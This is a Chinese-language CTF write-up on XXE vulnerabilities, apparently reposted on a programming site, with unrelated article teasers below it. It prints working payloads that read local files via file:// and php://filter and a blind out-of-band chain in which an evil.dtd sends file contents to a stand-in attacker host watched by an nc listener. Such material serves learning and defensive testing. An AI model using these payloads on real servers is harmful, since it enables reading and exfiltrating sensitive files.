CTF-XXE 漏洞解题思路总结

一、XXE 漏洞简介

XXE (XML External Entity) 漏洞允许攻击者通过构造恶意的 XML 输入,强迫服务器的 XML 解析器执行非预期的操作。在 CTF 场景中,最常见的利用方式是让解析器读取服务器上的敏感文件,并将其内容返回给攻击者。

二、核心攻击载荷 (Payloads)

根据靶机是否在响应中直接返回注入内容,攻击方式可分为“有回显”和“无回显”两种。

1. 有回显的 XXE (In-Band XXE)

这是最直接的情况,服务器会将读取到的文件内容显示在返回页面上。

基础文件读取

通过定义一个外部实体来加载本地文件,并在 XML 的某个字段中引用该实体。

Payload 模板:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ctf [

  <!ENTITY xxe SYSTEM "file:///path/to/your/flag">

]>

<root>

    <data>&xxe;</data>

</root>

关键点:

  • <!ENTITY xxe SYSTEM "file:///path/to/your/flag">: 定义一个名为 xxe 的实体,其内容来自指定的本地文件路径。

  • &xxe;: 在 XML 数据中引用该实体,解析器会将其替换为文件内容。

使用 PHP Filter 绕过

当文件内容包含特殊字符(如 <、>)导致 XML 解析失败,或靶机后端为 PHP 时,可以使用 php://filter 将文件内容进行 Base64 编码后输出,避免解析错误。

Payload 模板:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ctf [

  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/path/to/your/flag">

]>

<root>

    <data>&xxe;</data>

</root>

使用方法:

  1. 发送 Payload。

  2. 将返回的 Base64 字符串进行解码,即可获得原始 Flag。

2. 无回显的 XXE (Blind XXE OOB)

当服务器不返回任何注入相关的数据时,需要采用带外攻击(Out-of-Band),让服务器主动将数据发送到攻击者控制的公网服务器上。

攻击流程:

  1. 准备公网服务器: 准备一台有公网 IP 的服务器,并监听一个端口(例如 nc -lvp 8888)。

  2. 构造两部分 Payload:
    a. 发送给靶机的 Payload:
    此 Payload 定义了两个参数实体,一个用于读取文件,另一个用于加载位于攻击者服务器上的恶意 DTD 文件。

<?xml version="1.0"?>

<!DOCTYPE ctf [

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">

    <!ENTITY % dtd SYSTEM "http://your-attacker-server.com/evil.dtd">

    %dtd;

]>

<root><data>blind</data></root>

  1. b. 在攻击者服务器上创建 evil.dtd 文件:
    这个 DTD 文件会构造一个最终请求,将之前读取并编码好的文件内容(%file)作为参数,发送到攻击者服务器的监听端口。

<!ENTITY % send "<!ENTITY &#x25; exfil SYSTEM 'http://your-attacker-server.com:8888/?data=%file;'>">

%send;

  1. 接收 Flag: 在攻击者服务器的监听端口上,会收到一个包含 Base64 编码 Flag 的 HTTP 请求。

深度解析:为什么需要“两步走”的攻击?

这是一个关键问题。直接在同一个 DTD 块中完成“读取文件”和“发送数据”两个操作是行不通的,因为这违反了 XML 的规范。

  • 限制: XML 解析器在解析一个 DTD 块时,不允许在其内部的一个实体定义中,引用同一个 DTD 块中刚刚定义的另一个参数实体来构造外部请求。这是一种安全限制,防止了过于复杂的嵌套操作。

  • 绕过方法: 两步走的攻击巧妙地绕过了这个限制。

    1. 第一步(主 Payload): 让靶机先执行第一个任务——读取文件并存入参数实体 %file。然后,让它去请求外部的 evil.dtd 文件。

    2. 第二步(evil.dtd): 当靶机开始解析 evil.dtd 时,它进入了一个全新的解析上下文。在这个新环境中,%file 实体是一个已经存在、已知的值,而不是正在定义的。因此,evil.dtd 中的指令可以自由地使用 %file 的内容来构造新的 HTTP 请求,从而将数据发送出来。

简单来说,通过加载外部 DTD,我们欺骗了解析器,创造了一个新的执行环境,使得原本被禁止的操作变得可行。

三、CTF 解题通用策略

  1. 漏洞测试: 首先使用一个已知存在的文件(如 file:///etc/passwd)来确认 XXE 漏洞是否存在以及是否有回显。

  2. 路径猜测: 根据题目提示和常见配置,猜测 Flag 文件的绝对路径(如 /flag, /flag.txt, /root/flag.txt 等)。

  3. 优先直接读取: 总是先尝试最简单的有回显文件读取方法。

  4. 编码绕过: 如果直接读取失败,尝试使用 php://filter 进行 Base64 编码。

  5. 盲打带外: 如果确认无回显,采用 Blind XXE OOB 策略。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/94456.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/94456.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GitLab:一站式 DevOps 平台的全方位解析

GitLab&#xff1a;一站式 DevOps 平台的全方位解析 在当今数字化时代&#xff0c;软件研发的效率与质量直接决定企业的市场竞争力。GitLab 作为全球领先的 DevOps 平台&#xff0c;凭借 “从构思到部署” 的全流程管理能力&#xff0c;已成为无数企业加速软件交付的核心工具。…

Flink富函数:一种更灵活、可扩展的方式来定义数据流的处理逻辑

本文重点 Flink中的富函数类是一组用于处理数据流的函数接口和实现类。富函数类提供了一种更灵活和可扩展的方式来定义数据流的处理逻辑。 富函数类 富函数类是DataStream API提供的一个函数类的接口,所有的Flink函数类都有其Rich版本。富函数类一般是以抽象类的形式出现的。…

【STM32】HAL库中的实现(四):RTC (实时时钟)

&#x1f552;HAL库中的实现&#xff1a;RTC&#xff08;Real-Time Clock&#xff09;实时时钟RTC 是 STM32 的低功耗实时时钟模块&#xff0c;常用于&#xff1a; 实时时间维护&#xff08;年月日时分秒&#xff09;定时唤醒日志时间戳闹钟功能RTC&#xff08;实时时钟&#x…

Pauli 矩阵指数函数展开为显式矩阵 e^A -> B

要展开表达式 为普通矩阵&#xff0c;其中 是 Pauli 矩阵&#xff0c; 是单位向量&#xff0c; 是实数。以下是详细推导步骤&#xff1a;1. Pauli 矩阵的性质Pauli 矩阵定义为&#xff1a;它们满足以下关系&#xff1a;​其中 是 Kronecker delta&#xff0c;​ 是 Levi-…

【Algorithm | 0x03 搜索与图论】DFS

DFS基础知识典型例题例1&#xff1a;n皇后问题例2&#xff1a;拍照例3&#xff1a;理发基础知识 核心原理&#xff1a;一条路走到黑 示意图&#xff1a;其含义表示&#xff0c;在这个图中顶层是第0层&#xff0c;也就是后面dfs的入口&#xff0c;一般从dfs(0)开始操作。 模版&a…

Redis的数据过期策略有哪些?

Redis内部通过两种主要策略来处理过期的Key&#xff1a; 惰性删除 惰性删除&#xff1a;顾明思议并不是在TTL到期后就立刻删除&#xff0c;而是在访问一个key的时候&#xff0c;Redis会先检查这个键是否过期。如果过期&#xff0c;就删除它&#xff0c;然后返回nil。 这种方式非…

水库雨水情测报和大坝安全监测系统解决方案

一、方案背景 在全球气候变化和极端天气频发的背景下&#xff0c;水库作为重要的水利设施&#xff0c;承担着防洪、供水、灌溉、发电等多重功能。然而&#xff0c;由于水库蓄水量巨大&#xff0c;一旦发生溃坝或运行异常&#xff0c;将对下游地区造成不可估量的生命财产损失。因…

BFS 和 DFS 编程思想、框架、技巧及经典例题总结

BFS 和 DFS 编程思想、框架、技巧及经典例题总结 一、核心编程思想 BFS&#xff08;广度优先搜索&#xff09; 核心思想&#xff1a;以「层次遍历」为核心&#xff0c;从起点出发&#xff0c;优先探索距离起点最近的节点&#xff0c;逐层扩散遍历。本质&#xff1a;通过「队列」…

【面试场景题】日志去重与统计系统设计

文章目录题目场景描述要求问题考察点解答思考一、核心解决方案&#xff08;基础版&#xff0c;单节点32GB内存、10台节点&#xff09;1. 整体架构选型2. 关键步骤详解&#xff08;1&#xff09;数据分片&#xff1a;解决“数据量大&#xff0c;单节点处理不了”的问题&#xff…

【Day 16】Linux-性能查看

目录 一、Stress系统压力测试工具 二、性能查看 &#xff08;一&#xff09;查看CPU # nproc # lscpu # top # uptime # mpstat 数字1 数字2 &#xff08;二&#xff09;查看内存 # dmidecode -t memory | less # free -h # …

【ICCV2017】Deformable Convolutional Networks

一、摘要尽管卷积神经网络&#xff08;CNN&#xff09;在视觉识别任务上取得巨大成功&#xff0c;但其固有的固定几何结构&#xff08;固定卷积采样网格、固定池化窗口、固定 RoI 划分&#xff09;严重限制了对未知几何变换&#xff08;尺度、姿态、形变、视角变化&#xff09;…

echarts在前后端分离项目中的实践与应用

目录 一、ECharts简介 二、后端数据接口设计 三、数据结构设计 1. 柱状图数据结构 2. 饼图数据结构 四、后端实现要点 五、前端ECharts配置解析 1. 柱状图配置 2. 饼图配置 六、最佳实践建议 七、总结 一、ECharts简介 ECharts是百度开源的一个基于JavaScript的可视…

SQL 四大语言分类详解:DDL、DML、DCL、DQL

SQL&#xff08;结构化查询语言&#xff09;通常被分为四种主要类型&#xff0c;每种类型负责不同的数据库操作。下面我将详细介绍这四类SQL语言的语法和用途。一、DDL (Data Definition Language) 数据定义语言功能&#xff1a;定义和管理数据库对象结构&#xff08;表、视图、…

ESP-idf框架下的HTTP服务器\HTML 485温湿度采集并长传

项目描述:本项目采用485采集温湿度以及电压电流等,485模块分别为下图,串口转485模块采用自动收发模块,ESP32工作在AP热点模式,通过手机连接esp32的热点来和esp进行数据通讯,使用esp32作为HTTP服务器缺陷:项目的最终HTML页面代码可发给AI让其写注释#include "freertos/Free…

雅江工程解锁墨脱秘境:基础条件全展示(区位、地震、景点、天气)

目录 前言 一、区位信息 1、空间位置 2、区位介绍 二、地震信息 1、历史地震信息 2、5.0级以上大地震 三、景点信息 1、景点列表分布 2、4A级以上景点 四、天气信息 1、天气实况 2、天气应对挑战 五、总结 前言 相信最近大家对雅江电站的超级大工程项目应该有所耳…

​​机器学习贝叶斯算法

​​一、引言​​在当今机器学习领域&#xff0c;贝叶斯算法犹如一颗璀璨的明星。你是否想过&#xff0c;垃圾邮件过滤系统是如何准确判断一封邮件是否为垃圾邮件的呢&#xff1f;这背后可能就有贝叶斯算法的功劳。今天&#xff0c;我们就一同走进贝叶斯算法的世界&#xff0c;…

Chisel芯片开发入门系列 -- 18. CPU芯片开发和解释8(流水线架构的代码级理解)

以【5 Stage pipeline CPU】搜索图片&#xff0c;选取5幅有代表性的图列举如下&#xff0c;并结合Chisel代码进行理解和点评。 图1&#xff1a;原文链接如下 https://acsweb.ucsd.edu/~dol031/posts/update/2023/04/10/5stage-cpu-pipeline.html 点评&#xff1a;黑色的部分…

Docker容器中文PDF生成解决方案

在Docker容器中生成包含中文内容的PDF文件时&#xff0c;经常遇到中文字符显示为方块或乱码的问题。本文将详细介绍如何在Docker环境中配置中文字体支持&#xff0c;实现完美的中文PDF生成。 问题现象 当使用wkhtmltopdf、Puppeteer或其他PDF生成工具时&#xff1a; 中文字符…

2.java集合,线程面试题(已实践,目前已找到工作)

1线程的创建方式 继承Thread类实现Runnable接口实现Callable接口 2.这三种方式在项目中的使用有哪些&#xff0c;一般都是怎么用的 继承thread类实现线程的方式通过实现run方法来实现线程&#xff0c;通过run进行线程的启用实现runnable方法实现run方法&#xff0c;然后通过thr…

站在前端的角度,看鸿蒙页面布局

从Web前端转向鸿蒙&#xff08;HarmonyOS&#xff09;开发时&#xff0c;理解其页面布局的相似与差异是快速上手的核心。鸿蒙的ArkUI框架在布局理念上与Web前端有诸多相通之处&#xff0c;但也存在关键区别。以下从五个维度系统分析&#xff1a; &#x1f4e6; 一、盒子模型&a…